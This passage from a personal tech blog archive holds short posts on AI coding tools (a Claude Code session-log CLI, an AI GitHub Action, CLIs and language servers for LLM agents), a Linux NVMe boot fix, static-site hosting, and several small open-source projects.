people discovered content. Add in smartphones, push notifications, and mobile apps, and the old open feed model slowly disappeared. Markdown: The New Lightweight Medium Now, with the rise of AI, something interesting is happening again. A lot of sites, especially those with API docs or developer content, are going back to serving data in Markdown. It’s small, easy to read, and even easier for AIs to parse. Markdown doesn’t waste tokens or bandwidth like HTML does. It doesn’t need complex parsing or rendering. It’s clean, structured, and makes sense both to humans and machines. In a weird way, it feels like Markdown is becoming the new feed format - a simple, universal way for tools to consume and understand content. History Doesn’t Repeat, But It Rhymes It’s hard not to see the parallels. RSS and Atom made it easy for software to consume human-written content. Markdown is doing the same thing for AI. It’s portable, predictable, and doesn’t get in the way. The real story is about AIs quietly “subscribing” to Markdown content - reading, summarizing, and acting on it in the background. The Return of Structured Openness If RSS was Web 2.0’s way of saying “let’s make the web consumable,” then Markdown-first APIs are today’s way of saying “let’s make it understandable.” It’s funny how things come full circle. We’re rediscovering the value of structured, open, lightweight content that can move easily between systems. Only this time, it’s not people with feed readers doing the consuming. It’s AIs - quietly rebuilding the open web we thought we’d lost. --- ## Introducing cc-sessions-cli: Make Your Claude Code Logs Work for You Published: 2025-09-22 Summary: Learn how cc-sessions-cli helps you analyze and reuse Claude Code session logs with built-in sub-agents for smarter workflows. Tags: Claude Code, CLI, AI Tools, Productivity I was chatting with friends about context compaction and how hard it can be to carry forward important context from past LLM sessions without wasting tokens or repeating yourself. We kept coming back to the same pain point: you finish a productive session, but when you start a new one, you have no clean way to bring that history along. Claude Code already keeps a full record of every session on your local machine. So why not make that data more accessible and usable? That idea turned into cc-sessions-cli, a lightweight command-line tool that helps you explore, analyze, and reuse your Claude Code session logs to make each session smarter than the last. Why This Matters Claude Code automatically saves every session under ~/.claude/projects. Each project has its own directory with complete JSONL logs of your prompts, completions, and decisions. These logs are incredibly valuable, but they are stored in a raw JSON format that is awkward to read and inefficient for LLMs to process. Most of the time, those logs just sit there unused even though they could help you debug, learn, or continue a conversation exactly where you left off. cc-sessions-cli changes that by: Turning session logs into compact, model-friendly formats that are easier for Claude to work with Keeping everything local and private so no sensitive data leaves your machine Making it simple to build new workflows for session-to-session continuity and analysis Smarter Session to Session Continuity Imagine you spent hours debugging a tricky issue with Claude Code last week. Now you open a new session and need to pick up where you left off. Normally, you would either try to remember everything or manually paste fragments from old conversations. With cc-sessions-cli, you can simply ask Claude: “Summarize my last two sessions, focusing on the bug fixes we worked on.” The tool gives Claude a clean, structured view of your past work so you can continue seamlessly without wasting tokens on messy JSON or sending private data to an external service. It is like giving Claude a form of long-term memory that is completely under your control. Built-in Sub-Agents for Even More Power cc-sessions-cli comes with two Claude Code sub-agents that make your session logs even more powerful. 1. prompt-coach Helps you analyze your past sessions and improve your prompting techniques. It reviews how you have been interacting with Claude and gives you actionable feedback to make future sessions more efficient and effective. 2. session-query Lets you converse directly about your past sessions. For example, you can ask: “Summarize our conversations around authentication from last week.” “Show me everything we discussed about improving the onboarding flow.” session-query searches your logs and surfaces exactly the information you need, turning historical conversations into a living resource you can query anytime. No Extra Installation Steps The best part is that you do not need to install anything manually. cc-sessions-cli runs automatically using npx, so all you need to do is place the sub-agent definitions (session-analyzer and session-query) in your project. This setup tells Claude how to call the tool whenever it is needed. If you are working in a TypeScript or JavaScript project, you can optionally install it as a local dependency, but that is completely optional. This keeps your workflow lightweight and ensures Claude can always access and query past sessions for that project without extra setup. Local, Private, and Flexible Because everything happens locally: Your logs never leave your machine, keeping sensitive data safe It scales easily, even with very large logs, since you can filter them with tools like grep or head before giving context to Claude It works naturally with other CLI tools and Claude’s own orchestration, creating endless possibilities for custom workflows The sub-agents are designed to be privacy-friendly, giving you powerful analysis and querying capabilities without relying on external services. Early Days, Big Potential This is an early project built to solve a real problem. It is simple now, but there is huge potential for it to grow into a central piece of how you manage and reuse context with Claude Code. You can try it right away by adding the sub-agents to your project. Claude will automatically run the tool via npx whenever you ask it to analyze or query your past sessions. Check out the project here: https://github.com/erans/cc-sessions-cli Final Thoughts Your Claude Code session logs are more than just an archive. They are a record of your thinking, problem solving, and decisions over time. With cc-sessions-cli, you can finally unlock that history. Use session-analyzer to gain insights into how you work and improve your prompting Use session-query to ask direct questions about past sessions and bring their context into today’s work Do it all without worrying about privacy since everything runs locally through npx Give it a try and see how much smarter and more connected your Claude Code sessions can become when your past work becomes part of the conversation. Oh, and you know why its a CLI? Because its powerful :) --- ## Introducing AutoAgent Action – Smarter GitHub Checks with AI Published: 2025-09-15 Summary: A new GitHub Action that lets you run AI-powered checks and automations using Cursor CLI and background agents as well as other AI Agents like Claude Code, Gemini, Amp, Codex and more. Tags: GitHub Actions, Cursor, AI, CI/CD, Open Source, Cursor CLI, Amp, Gemini CLI, OpenAI, Codex, Claude Code, Anthropic Last Wednesday (Sep 10), I had the chance to attend a hackathon at Cursor’s offices - huge thanks to the Cursor team for hosting such a great event! 🙌 The focus was on Cursor CLI and their new Background Agents API. When I started brainstorming ideas, I came across Eric’s post about running various rules during CI/CD to automate checks and actions. It got me thinking — setting up those rules often involves a lot of repetitive work: crafting similar prompt setups and then defining the actions themselves. That’s when the idea for AutoAgent Action was born. 🚀 What is AutoAgent Action? AutoAgent is a GitHub Action that makes it easy to run checks using Cursor CLI (or other AI CLIs like Claude Code, Codex CLI, Gemini CLI, or Amp). It ships with a collection of preset rules that are immediately useful to many developers, and it’s completely customizable. With AutoAgent, you can: ✅ Enable built-in rules with minimal setup 🛠 Add your own custom rules directly in your workflow 📂 Point to a folder in your repo that contains your own rule set How It Works When AutoAgent runs, it: Executes the selected rules against your pull request. Posts a detailed comment on the PR with issues, insights, and suggestions. (Optional) Launches a Cursor background agent to automatically work on the PR and fix issues for you. You control how hands-on or hands-off you want to be — from passive checks to fully automated fixes. Why I Built It While exploring Eric’s post of rule-based CI/CD checks, I realized most setups require a lot of duplicate work: Writing nearly identical prompt boilerplate for each rule Wiring each rule to a separate action or script Maintaining everything across multiple repos AutoAgent streamlines this entire process by providing a unified, flexible way to manage rules and actions. Try It Out Check out the project here: github.com/erans/autoagent-action I’d love your feedback! If you find AutoAgent useful, please consider giving it a ⭐ — it really helps support the project. Thanks again to the Cursor team for hosting such an inspiring hackathon and to everyone who shared ideas that helped bring AutoAgent to life. --- ## Wielding the Tool: How CLIs Unlock LLM-Driven Workflows Published: 2025-09-02 Tags: llm, ai, tool-calling, unix Command line interfaces used to be the domain of automation experts who knew how to wield the tool with precision. They scripted pipelines, chained commands, and bent systems to their will from a blinking cursor. That hasn’t gone away, but something new is happening. Large language models are now picking up these tools and wielding them just as effectively. The key is design. If a CLI has clear help text and well described flags, an LLM can step in like an apprentice who suddenly knows the whole manual by heart. Add the ability to output JSON or another structured format, and the tool becomes not just usable but consumable. The LLM can run the command, parse the result, and carry the output forward into the next step. I saw this firsthand. I had a bug that only appeared in my remote development environment. I pointed it out to Claude Code and mentioned it could use doctl (the DigitalOcean CLI) to fetch logs and gh (the GitHub CLI) to check the status of builds. From there it took over: it read the logs, found the problem in the code, made the commit, monitored the build and deployment, executed the fix, and confirmed that the bug was resolved in the remote dev environment. None of this required a special integration layer. It worked simply because the CLIs were available and well designed. Modern CLIs from GitHub, AWS, GCP, and DigitalOcean make this even more compelling. After authentication, you’re handing the keys to an enormous toolbox. Yet you can also shape the permissions so the AI can read logs, debug issues, or gather metrics without ever holding the power to drop a production database. It’s like letting the apprentice use the tools under supervision, powerful but safe. Installation is easier than ever. With npx or uvx, a CLI can be pulled down on the fly, used, and discarded without fuss. There’s no need for heavy server setups or complex integration layers. The LLM can simply call the command and move on, like reaching into a drawer, grabbing the exact wrench, and putting it back. This is where the old UNIX philosophy shines again. Small tools that do one job well, combined through pipes, create endless possibilities. A CLI that spits out JSON can flow into jq, and the model can keep the chain alive. It’s piping power forward, a simple idea from the 1970s that turns out to be perfect for today’s AI powered workflows. For a CLI to be truly useful to LLMs, it needs a few essentials: Clear and descriptive help screens that explain every command and flag Predictable and consistent option names across commands Multiple output modes: human readable, machine friendly, and JSON for structured use Stable exit codes that indicate success, failure, or warnings Authentication and permissions that can be scoped or limited The ability to install or invoke easily, ideally with npx, uvx, or similar Good error messages that are easy for both humans and models to interpret And here’s something important. If you’re working with an API that is hard to use directly or awkward to wrap with an MCP server, creating a CLI around it can change everything. Many APIs have clunky authentication flows, irregular endpoints, or verbose data structures. A CLI can hide that complexity behind clean commands, clear help screens, and predictable JSON output. Instead of forcing the LLM to wrestle with the raw API or depend on a complex MCP setup, you hand it a tool it can wield immediately. If you want your API, or any API you rely on, to be truly useful to LLMs, consider wrapping it in a CLI. Make the help screens readable. Make the flags predictable. Give it multiple output modes, from human friendly to machine friendly. Wrap the complexity of the system in a single executable and suddenly both people and machines can wield the tool. --- ## Meet pgsqlite: A Postgres-Compatible Server on Top of SQLite - Built with a Little Help from AI Published: 2025-07-08 Tags: sqlite, postgres, ai, pgsqlite Lately, I’ve been working on something I probably wouldn’t have pursued if not for the rise of AI coding agents. It’s called pgsqlite - a Postgres wire protocol v3 compatible server, written in Rust, that runs on top of the standard SQLite library. On the surface, it might sound like a niche tool. But it solves a very real and increasingly relevant problem. Why This Could Be Useful As more developers integrate autonomous coding agents into their workflows, the need for lightweight, sandboxed environments grows. These environments often need a database - usually for tests, schema validation, or other backend tasks. Spinning up a full Postgres instance every time can be slow and resource-heavy. But copying a SQLite file and running a lightweight server that speaks the Postgres wire protocol? That’s incredibly fast and convenient. This is especially valuable in setups that support branch deployments or feature previews, where testing a new branch with a real backend (quickly!) can make a big difference. There are probably other use cases I haven’t thought of yet - which is exactly why I’m sharing this project publicly. A Shoutout to Postgres Let me take a moment to say: I have tremendous respect for the Postgres developers and the designers of the wire protocol. The binary protocol is elegant, powerful, and beautifully designed. Working with it has only deepened my appreciation for the thought and engineering that went into it. Still Early - But Promising To be clear, pgsqlite is still experimental. Postgres is deep, and its protocol and feature set are extensive. There’s a lot left to build and support. But thanks to AI coding agents, what used to require a small team is now achievable solo. That’s a game changer. If you’re curious, check it out: https://github.com/erans/pgsqlite Would love to hear what you think - and if you find it useful, share it with friends! --- ## Making AI Coding Agents Smarter with Language Servers Published: 2025-06-02 Tags: ai, llm, mcp, language-server, lsp, code-claude, cursor, windurf If you are using VSCode or any other non-integrated editor (even vim or emacs), chances are you are already using a language server. These servers power features that are specific to the language or framework you are working with. They provide documentation, autocomplete, code navigation, warnings, and more. When you click on a function and jump to its definition, a language server is likely behind the scenes making that possible. What Is a Language Server? Language servers understand the symbols of a programming language. They know what is a variable, a function, a class, or any other construct specific to that language. Before 2015, language servers were often custom tools built for one language and tied to a specific editor. That changed when Microsoft started working on VSCode. They wanted an editor that could support any language. So they formalized the Language Server Protocol (LSP) in a public spec: https://microsoft.github.io/language-server-protocol/ This standard allowed developers to build language servers in many languages and integrate them with a wide variety of editors. Language servers add symbolic understanding to code, which means they go beyond treating source files as plain text. This symbolic layer makes tasks like refactoring or finding definitions more accurate and safer. Why This Matters for AI Coding Tools So why am I telling you all this? Because this ties directly into how modern AI coding tools work, and where they might be heading. Right now, to the best of my knowledge, there are two main approaches in AI code tools. The Brute Force Approach: Claude Code Claude Code takes a tool-based approach. It runs commands like find, grep, and rg to explore the codebase. It lists directories, parses files, and looks for matches using basic command line tools. Sometimes it misses. But often, it keeps trying until the task is done and all tests pass. It is effective at diving into a codebase and getting things done using only the tools at its disposal. The downside is that it starts from scratch each time. Even though it may remember some context, it mostly relies on documentation and code instructions, and uses more tokens and LLM calls to reason through each task. The Indexed Approach: Cursor and Windsurf On the other side are tools like Cursor and Windsurf. These are full AI IDEs that take a broader approach. They index your codebase, understand file relationships, and pull in structured documentation and rules. These indexes make their retrieval smarter. They can quickly bring in relevant code snippets to help the AI complete a task with more global context. But this approach has tradeoffs. Indexes must be kept in sync with the current code. If they get out of sync, results may be wrong or misleading. Indexing large repos can take time. When working in teams, each person’s local environment may end up duplicating indexing efforts. To my knowledge, neither Cursor nor Windsurf share indexes across a team, even if multiple people are working on the same codebase with the same tool. That means redundant work and potential inconsistencies. A Middle Ground: Using Language Servers in AI Agents I believe there is another way. We can use language servers to give AI agents symbolic access to code. This avoids brute force and removes the need for heavy indexing. To explore this, I built a generic Language Server Protocol (LSP) MCP server. It works locally using stdio, and connects any LSP to tools that speak MCP. So far, I have tested it with Claude Code. The server supports all of the latest LSP 3.17 features (although not all language servers support every feature). This gives Claude Code the ability to perform symbolic queries, like finding definitions or references, without having to manually parse the codebase using grep. It works across different languages without needing special instructions for each one. It also does not require indexing the entire codebase unless the language server does that internally. Forcing Claude Code to Use the Right Tools Getting Claude Code to actually use these LSP tools wasn’t automatic. Out of the box, it strongly prefers basic command line tools like grep, find, and rg. Even when more capable tools are available, it often falls back on what it already knows. To steer it in the right direction, I had to write carefully worded tool descriptions for each exposed LSP function. These had to be just detailed enough to make Claude consider using them and to show they were smarter than basic grep-style searching. I also had to include explicit instructions in the CLAUDE.md file within the repo, telling it to use the language server tools where appropriate. This helped, but not perfectly. Even then, if a tool fails or its output seems too abstract, Claude will often revert to its default behavior. It’s a bit like training a junior engineer who’s used to doing everything the hard way — you need to keep reminding it there’s a better method. Early Results This is all still experimental, but it points to a promising middle ground. We can give AI coding tools better insight into code without requiring brute-force commands or complex indexing layers. If you want to try it out, the code is here: https://github.com/erans/lsp-mcp Use at your own risk. --- ## Thinkpad doesn't reocgnize NVME drive Published: 2023-07-13 Tags: thinkpad, linux, nvme, boot Fixing NVMe Drive Detection on a ThinkPad T14 Gen 1 with Ubuntu I recently got a used ThinkPad T14 Gen 1 off eBay. It came without a storage drive, probably because it used to belong to some company and they pulled the disk before selling it. I picked up a Samsung 980 NVMe at a good price and installed it. The BIOS saw it right away, so I figured I was good to go. But when I booted the Ubuntu installer, it couldn’t see the drive. After some searching, I found this is a known issue with the T14, the Samsung 980, and Linux. Something about the NVMe power management and PCIe settings causes the drive not to show up. Here’s the fix that worked for me. Temporary Fix for the Installer When booting into the Ubuntu installer, you need to add a couple of kernel parameters: Hold the left SHIFT key as the machine boots to get to the GRUB menu. Select “Install Ubuntu” but do not press Enter yet. Press e to edit the boot parameters. Find the line that ends in quiet splash and add this before it: nvme_core.default_ps_max_latency_us=0 pcie_aspm=off Press F10 to continue booting. After doing this, the installer was finally able to see the drive. Make it Permanent After Install Once Ubuntu is installed, you need to make the same change permanent: Open the GRUB config file: sudo nano /etc/default/grub Find the line: GRUB_CMDLINE_LINUX_DEFAULT="quiet splash" And change it to: GRUB_CMDLINE_LINUX_DEFAULT="nvme_core.default_ps_max_latency_us=0 pcie_aspm=off quiet splash" Save and exit, then run: sudo update-grub That’s it. Writing this down mostly for future me, in case I forget why the drive isn’t showing up again. If you’re using a T14 Gen 1 with a Samsung 980 and Ubuntu, this should save you a few hours of head scratching. --- ## Why serviceability matters Published: 2017-12-10 Tags: serviceability, apple, imac, pink lines, fix In the picture above is a late-2009 iMac GPU (graphics card) after being baked at 200°C (392°F). Baking it solves a problem that makes the computer unusable and manifests itself as vertical pink lines during boot that gets the computer stuck. My friends’ iMac suffered from this problem and after googling it I found out that its a rather common issue afflicting a lot of iMacs. It happens when an internal solder crack or break. Baking the card fixes the bad solder. While serviceability is not the main feature of a Mac computer or an Apple computer in recent years, the fact that an iMac is large enough made it reasonably easy to service it, disconnect the GPU and bake it. An “official” fix for this problem will set you back around $600 for a new card GPU + work. The other option is to buy a new iMac - the cheapest non refurbished one is around $1,100. Serviceability allowed me to help my friends fix their computer. It what also makes it easier to upgrade certain components to allow you to extend the useful lifespan of a computer for far less than what a new one costs. Serviceability gives you choice. The choice to decide to buy a slightly lesser “beefy” computer to save money and after 2 years spend a little to make the computer faster instead of replacing it with a new one or shelling out a lot of money in the first place. Serviceability means that most components would not be custom made so that you can pick and choose your provider, be it RAM, hard drives or GPU. Serviceability is a right that should not be taken from most devices. When manufacturers use highly custom, none standard parts they are limiting your choice of fixing a problem or upgrading a device. Sometimes, serviceability is sacrificed in favor of other features, for example, a super thin and light laptop. But that is a conscious decision a manufacturer makes when producing the product and conscious decision a consumer makes when deciding to buy an unserviceable or none upgradeable product. That’s exactly the choice that we as consumer should strive to have and manufacturers should offer. --- ## Goodbye WordPress! Hello Static (Hugo) and Netlify (static hosting and more). Published: 2017-06-04 Tags: netlify, wordpress, static, staticsite, hugo It’s time to move my blog to version 3. This time we are going back in time and into the future at the same time. Before we begin, here is a little history of my blog: Version 1 - Blogger Version 1 ran on Blogger - which was essentially a static site generation platform. It gave you an editor, you would write your posts and then it would generate your complete site in HTML and even allowed you to publish it on your own server by uploading the result via FTP. That version didn’t last long and I quickly iterated to version 2. Version 2 - WordPress Version 2 was a self hosted WordPress site which I’ve been running on a server I manage. Throughout the years the servers changed but WordPress and its plugins persisted. All in all it worked reasonably well, however, the need to constantly update WordPress (now less so because it has an auto upgrade feature), fighting off various hacks and backing up MySQL, even when most of it was automated, was still a pain I had to deal with. This setup held for quite a while. I don’t even remember the version of WordPress I started with but it easily ran like this for more than 10 years. Version 3 - Going static! A lot have been said about static site generators, the JAMStack - Javascript, APIs and Markup and I’ve decided it worth taking the plunge. I’ve decide to use Hugo - a static website generator written in Go. Static site generators are kind of a step backwards in the sense that they generate static HTML files, similar to how blogs and other sites used to be before 1998 or so, however, these HTMLs can also utilize a lot of APIs to make the interaction as full as any dynamically generated site. In that sense we are moving forward light years. In my opinion, using APIs (whether self hosted or platform hosted) encapsulates the essence of the web. A single seemingly simple site can be composed out of a lot of smaller services scattered around the internet. Some will provide authentication, other comments, others the ability to share the content while still making sure the owner of the content truly controls it. Making the transfer I’ve looked around and found a rather good WordPress plugin to export WordPress to Hugo including pages, drafts, images, you name it. The plugin worked perfectly and I quickly had all of my posts in markdown - ready to be served by Hugo. I created a new Hugo site, put the content generate by the plugin in the “content” folder and went on to select a theme. The benefit is that everything (in a true UNIX spirit) is a file. Every post is a markdown file, every image is just a file etc. That means that I can easily host the site as a Git repository (public on Github and Bitbucket, or freely private on Bitbucket). That gives me history and backup (to some degree). However, I still need to make sure all the files get to some kind of a server to get hosted. I could use Github Pages but it has its own set of limitations, I put it on my own server or cloud bucket (S3 or Google Cloud Files) but then I would have to sync the files every time I add or change content. That’s where Netlify comes in (Disclaimer: I’m an investor - but its still a cool tool I would gladly use any day!). Netlify to the rescue With Netlify I can easily deploy and host my static site with a single click. Future updates and content additions are published with just a simple Git commit (remember that with static sites its easy to have it revision controlled). I also get other benefits that makes my life easier (and I’m a fan of being as lazy as you can): Deployment triggers - Deploy when you commit to the associated git repository or using an API call. CDN - Super fast ass kicking CDN for free (as in beer). Previews - new deployment can generate a preview URL which you can check and deploy to the “production” version at a later time. SSL - You get FREE (again, as in beer) SSL certificate using the wonderful Let’s Encrypt initiative. With a little bit of work (about 1 hour) to make the transfer I saved myself: Maintaining a server and all of its OS updates Maintaining WordPress and all of its updates and its plugins’ updates Backing up, restoring and checking WordPress’ MySQL database Renewing my SSL certificate (or writing a script to renew the Let’s Encrypt certificate) Use some site to monitor uptime (be it part of WordPress JetPack or something external like Pingdom) If you have some time, please check Netlify, Hugo and the rest of the static site generators. It might help you be lazy like me for a few more hours per year :-) --- ## Redis Snowflake UniqueID Module Published: 2017-06-02 Tags: redis, module, c, uniqueid, snowflake Ever since Redis Modules were released into the wild, I wanted to write something nice and short and see how easy and fun it is to significantly extend Redis. It also helps that Dvirsky, my friend, works at Redis Labs and wrote RediSearch - a kick ass full text indexing and search engine that kicks all the other search engines’ performance ass (you should definitly try it out). For a while now, to try out new languages/frameworks/whatever I’ve been using Twitter’s Snowflake. This case was no different as everyone needs unique ids at some point. A bit about Snowflake - it’s a network service (micro service) that generates unique ID numbers at high scale with a few guarantees. Some of these guarantees include: Uncoordinated - multiple Snowflake services running in parallel do not need to communicate with each other to generate unique ids. Time ordered (sort of) - The IDs are based, among other things, on the current time (make sure all the services run on machines with NTP) and that generates Ids that are k-sorted within a reasonable bound (1 second) Directly Sortable - the ids can be sorted since it is guaranteed that an older ID is smaller than a newer ID (up to 1 second). You don’t need the complete dataset to correctly sort a bunch of Ids. Compact - Ids are kept at 64bit size compared to other unique IDs such as GUIDs which are 128bit. Read more about Snowflake here Writing Redis modules is rather easy. For best performance you’ll need to write it in C. I’ve found a great C implementation of Snowflake written by Dwayn (thanks Dwayn) and wrapped it with the relevant Redis Module parts. Get the module here, build it and play with it. The nice benefits of using it are: No additional service - if you already have Redis running you can utilize it instead of adding another service to the system. You won’t need to add discovery or extra configuration as it will all just work using the same way you use to discover and connect your redis instances. Get all the Snowflake benefits for free - you get all the above benefits for free such as no-lock ID generation, time ordered, directly sortable and all of that in a nice 64bit compact version. --- ## EFF’s Dice Random Number Generator digitized to become DicePass.org Published: 2016-09-13 Tags: Code, dice, dicepass, eff, passphrase generator, Privacy, prng, pseudo random number generator, random password generator TL;DR – this is why (and how) I created the electronic version of EFF’s Dice. I love the Electronic Frontier Foundation (EFF) and believe in their just cause. I support it as much as I can and try to educate as many people as I can about their rights, privileges online and how to correctly behave in this new found jungle. A while back I got a post about their new “toy”/campaign EFF’s Random Number Generator also known as Dice. The idea behind it is to help people generate more secure passwords that they can actually remember and the means to do it was so simple. A dice. Or 5 (if you want to optimize). The concept is simple. Roll a dice and record the digit. Do it 5 times. These 5 numbers now represent a 5 digits number. Lookup a word associate with this number in a wordlist such as this one. Repeat the process 6 times so that you have at the end 6 words. You are now the proud owner of a passphrase that has roughly 2⁷⁷ variations (that about 221,073,919,720,733,357,899,776 variations)! That’s it. So simple. If the words you got are reasonable enough you can even construct a sentence from it and it will be even easier to remember. EFF created these 5 custom dices as part of their summer security reboot, so it will take a lot less time to physically generate the passphrase. While I enjoy rolling dices as much as the next person, I thought it would be interesting to create a (rather) secure version of it that can (if needed) be hosted online. While investigating about secure Pseudo Random Number Generators (PRNG) in JavaScript I found out about crypto.getRandomValues which is an API implement inside modern browser that uses the Operating Systems’ PRNG (find out if your browser support it) So, I’ve created DicePass (you can also get the code on Github). You can use the hosted version or clone the repository and run it locally (just open index.html in your browser). The hosted version doesn’t use any tracking code (no Google Analytics) or 3rd parties that can track you. Even the share buttons are custom implementation using a URL that opens in a new window/tab to protect your privacy. Feedback, comments and pull requests are welcome. Enjoy, and use long random passphrases! --- ## 5 tips on future proofing your Medium posts Published: 2015-12-31 Tags: Blogging, future proofing, medium, Tips, tricks So, you’ve decided you want to blog or write on Medium – where all the cool kids hang out. Great. Remember there are other similar platforms to write and blog and at some point Medium (like everything else on the Internet) might lose its appeal or even, god forbid, shutdown. When that happens, what will happen to your posts? How can you and the rest of the internet reach it? There were numerous occasions in the past (the most recent one was Posterous) where the platform simply died and all the links pointing to it and all of their SEO goodness went to shaite. You can always run your own server, but not everyone has the time, power or know-how to do so. Here are few tips to help you be forward compatible with most platforms in the future: Choose a platform that supports a custom domain.** **If you can’t blog under your own domain you will never truly own your content. Make sure to blog under your own domain (or subdomain such as blog.mycooldomain.com). If you don’t own a domain – get one. It’s very cheap as it costs anywhere between ~$3-$10/year depending on the type .com, .net, .co and domain registrar (I like namecheap.com). Medium added support for that on March 2015 so you have no excuse. Make sure you have some sort of backup for your posts. I usually like to write my posts without formatting on Google Docs or Simplenote so I get an immediate backup. Before publishing I copy the content to the publishing platform I use. Doing so will make sure that even if your platform goes down you can always restore your posts using your domain and back up of the posts. Another benefit is that you don’t need to rely on an export feature that your dying platform may or may not provide.If you are slightly more technically advanced I suggest writing the posts in Markdown. There are various tools to generate better looking HTML that you can later paste into your current cool blogging site. Make backups of attached/uploaded resources. If your posts contain images or other resources that you have uploaded to your chosen platform, make sure to have copies of these files so that you can always restore it with the post text in other platforms if needed. Save all of your posts’ URLs. Make a document or spreadsheet of all your posts’ URLs. For example, if a blog post URL is http://mycooldomain.com/2015/12/31/something-cool make sure to copy and save it. If your chosen blogging platform goes down you can always add a redirect rule from the old URL (as it appeared in the old platform) to how it will appear in the new one, thus not breaking da internetz! These rule don’t apply just to Medium, they apply to most platforms such as WordPress (wordpress.com or self hosted one), any static site generator, Ghost, Svbtle, Squarespace, Weebly, etc. In my opinion, the best choice nowadays for people who don’t want to mess around with server is to use a static site generator such as Jekyll. While it involves running a few commands in your shell (that black screen with running white text) you can easily build a site, generate it and host it on platforms such as Surge or Netlify. --- ## Lets Encrypt Error: The server could not connect to the client to verify the domain :: Failed to connect to host for DVSNI challenge Published: 2015-12-31 Tags: aws, EC2, gce, gcp, letsencrypt, Privacy, ssl Are you using Lets Encrypt? (If not, you should go ahead and use it to generate SSL certificates to ALL of your web servers). If you want to run it on EC2 or GCE using the –standalone argument (./letsencrypt-auto certonly –standalone -d example.com) make sure port 443 (for SSL) is open on that server. Otherwise you’ll get the infamous: `Are you using Lets Encrypt? (If not, you should go ahead and use it to generate SSL certificates to ALL of your web servers). If you want to run it on EC2 or GCE using the –standalone argument (./letsencrypt-auto certonly –standalone -d example.com) make sure port 443 (for SSL) is open on that server. Otherwise you’ll get the infamous: ` Go ahead. Install it. Today. --- ## Tornado’s secure cookie support in Flask Published: 2015-12-27 Tags: appengine, cookies, flask, Google AppEngine, Python, secure cookie, secure cookies, tornado I’ve recently had the chance to write a new project on AppEngine. It’s been a long time since I tried I was too lazy (as always) to setup servers just for that. I’ve decided to use Python but just to be sure I won’t be vendor locked into various AppEngine services I’ve decided to use: Flask (instead of webapp2) Cloud SQL (instead of DataStore) This will ensure that I can break out of AppEngine easily with minimal code changes. This was the first major Flask project I’ve written and I found its current cookie support a bit lacking compared to Tornado’s secure cookies (I won’t go into the debate of why it should be kept like that and why I’m not using a session cookie that points to the real session data somewhere else). I’ve decided to create a small module to add Tornado’s secure cookie support into Flask. It’s basically a modified version of the current Tornado Secure Cookie code and its quite easy to use in Flask as well. Grab it and share your comments and opinions. It’s also available on PyPI under the name “flask-secure-cookie“. --- ## nsq-to-gs – Streaming NSQ messages directly to Google Cloud Storage Published: 2015-11-17 Tags: Code, gcs, Go, golang, google storage, gs, nsq, storage In addition to my previously published (very early) project to stream NSQ messages directly to BigQuery, I am happy to presents a modified version of nsq-to-s3 that supports streaming NSQ messages directly Google Cloud Storage. Grab it while its hot from the nsq-to-gs repo. I do see a future for a merged version of these two projects that supports both S3 and Google Cloud Storage but this would have to be enough for now. The current version has the same functionality as the latest nsq-to-s3 version and was adapted to support Google Storage with minor modifications (such as the default path and filename formats). --- ## nsq-to-bigquery – Stream messages from NSQ directly to Google BigQuery Published: 2015-11-16 Tags: bigquery, Go, golang, google bigquery, nsq In the spirit of nsq-to-XXX such as nsq-to-http and nsq-to-file – I bring you the very first version of nsq-to-bigquery. nsq-to-bigquery, as the name suggest, streams data from an NSQ channel into Google’s BigQuery using the Streaming API and provide very effective means to stream data that should be then further analysed and aggregated by BigQuery’s excellent performance. This is a (very) initial version so it has some limitations and assumptions. Limitations / Assumptions The BigQuery table MUST exist prior to streaming the data The NSQ message being sent MUST be a valid JSON string The JSON format MUST be a simple flat dictionary (key and simple value. Value can’t be another dictionary or list) The JSON format MUST match the format of the BigQuery table At the moment there is no support for batching so each message will issue an API call to BigQuery with a single line of data Planed Features: Support batching with flushing based on X number of rows or Y amount of time passed since last flush Flushing will happen in parallel with receiving information so there is almost no delay Stay tuned on the github repo for more news. --- ## gonionoo – Go wrapper for the Tor Network Status Protocol – OnionOO Published: 2015-10-29 Tags: Code, development, Go, golang, onionoo, tor I’ve bene running a Tor exit node in the Netherlands since August 2013. I believe in the cause of Tor and it was only a matter of time before I started adding code in some for or another. gonionoo is Go wrapper for OnionOO – the Tor Network Status protocol as is the first step in a slightly larger project I’m working on that I’ve been planning for a while ever since I’ve became a Tor exit node operator. The OnionOO API has lots of interesting data on the Tor network. You can see it visualized as part of the Atlas project. --- ## MongoDB Replica-Set Aware Backup Script Published: 2015-02-05 Tags: amazon web services, aws, gce, google cloud, google compute engine, google storage, gs, mongodb, replicaset, S3, simple storage service I’ve created a nice little bash script to take MongoDB backups that is replicaset aware. It will only take a backup from a replica so if you have the classic master,replica,arbiter configuration you can setup the script via cron on both (current) master and replica and the backup will only run on the replica. It will then tar.gz the backup and upload it to Google Storage. It can be easily adapted to upload the backup to S3 using s3cmd or the aws cli (aws-cli). Cross posted at Forecast:Cloudy (my cloud blog). --- ## Seedcamp Tel-Aviv 2012 Published: 2012-02-16 Tags: lool, lool ventures, seedcamp, seedcamp tel aviv, seedcamptelaviv2012 It’s that time of the year and Seedcamp Tel-Aviv is back (for the forth year!). This time lool Ventures is part of the event In one of my hats I’m the CTO of lool Ventures and I’ll be there as a mentor to give advice and share from my experience in building a startup. So if you have a great idea and started to work on it be sure to apply now. --- ## Requiem for a modem Published: 2011-11-19 Tags: adsl, adsl modem, Alcatel, Alcatel SpeedTouch Home, modem, NGN Two days ago I’ve shut down the longest running electronics device I ever owned. Alcatel SpeedTouch Home - Image from isphelp.info The device was my an Alcatel Speedtouch Home ADSL modem which I got circa 2001 when I was lucky enough to get an ADSL line at home. It was only turned off when there was a power failure or when I moved an apartment. It survived 6 PC, 5 Laptops, 4 routers, 6 apartments spanning 4 cities and about 10 different cell phones. It was hacked to use PPPoE instead of its default PPTP. Was hacked again to function as a router, and back to being just a modem. When I started using it I had a 1.5Mbit ADSL line. It grew to 2.5Mbit and finally 5Mbps – its maximum supported speed (taking into account the infrastructure state, my distance from the switchboard, etc). When the New Generation Network (NGN) of my landline provider Bezeq was deployed, the modem couldn’t keep up with its 5Mbit speed because the uplink speed changed and it couldn’t sync. I downgraded to 2.5Mbps until I could get a replacement modem. Once I got the newer modem, I shutdown the old one for good. It was now obsolete, old and unable to support faster speeds. No one would want it. No one would need it. No one would use it. I will always remember it as the device that saved me from my happy dial-up days and brought me into the broadband age. It never failed, never stopped working and handled whatever bits were thrown at it. It is now time for you to rest in modems heaven, where the line is always synced and the bits flow freely. May all my current and future modems will serve me as well as you did. Goodbye old friend. We had good times. --- ## Scott Berkun’s Mindfire: 